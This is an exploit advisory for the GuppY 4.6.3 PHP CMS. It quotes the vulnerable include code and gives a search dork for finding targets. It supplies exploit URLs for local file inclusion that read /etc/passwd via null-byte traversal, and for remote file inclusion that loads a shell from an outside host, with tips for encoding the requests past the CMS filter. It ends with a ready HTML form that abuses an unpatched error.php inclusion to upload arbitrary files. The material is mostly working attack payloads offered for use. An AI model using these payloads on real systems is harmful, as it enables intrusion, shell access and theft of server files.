guppy-rfilfi.txt

`vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion  
script info and download: http://www.freeguppy.org/  
dork: "Site powered by GuppY"   
  
author: irk4z[at]yahoo.pl  
greets to: str0ke, rgod, polish under :*  
'-----------------------------------------------------------------------------'   
  
# code:  
  
/tinymsg.php, line 24:  
...  
24 define("CHEMIN", "");  
...   
  
/inc/includes.inc, lines 155-168:  
...  
155 if (isset($selskin)) {  
156 $page[14]=$selskin;  
157 }  
158  
159 if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {  
160 include(CHEMIN."skin/".$page[14]."/skin".INCEXT);  
161 } else {  
162 include(CHEMIN."skin/no_skin/skin".INCEXT);  
163 }  
164 if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {  
165 include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);  
166 } else {  
167 include(CHEMIN."skin/no_skin/confskin".INCEXT);  
168 }  
...  
  
Local file inclusion on line 160 in $selskin, and I have used code  
from:  
  
/inc/boxleft.inc, lines 98-102:  
  
...  
98 for($ii=0; $ii<count($xposbox["L"]); $ii++) {  
99 if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {  
100 include(CHEMIN.$xposbox["L"][$ii].INCEXT);  
101 $onemenu = 1;  
102 }  
...  
  
so.. i have remote file inclusion :D  
  
# exploits:  
  
local file inclusion:  
http://[HOST]/[PATH]/index.php?selskin=[LFI]%00  
http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00  
  
remote file inclusion:  
http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]  
http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?  
  
^ xposbox[L][] and selskin must be encode because GuppY filtering query..   
  
# another bug:   
  
rgod on 2007-01-29 published local file inclusion in error.php $id variable,  
but GuppY authors didn't patch it :( so you can upload file to  
  
http://[HOST]/[PATH]/file/[your uploaded file]  
  
  
<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">  
<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />  
<input type="hidden" name="pg" value="upload" />  
<input type="hidden" name="rep" value="file" />  
<input type="file" name="ficup" size="36" />  
<input type="hidden" name="OK" value="1" />  
<input type="submit" value=" ok " />  
</form>  
`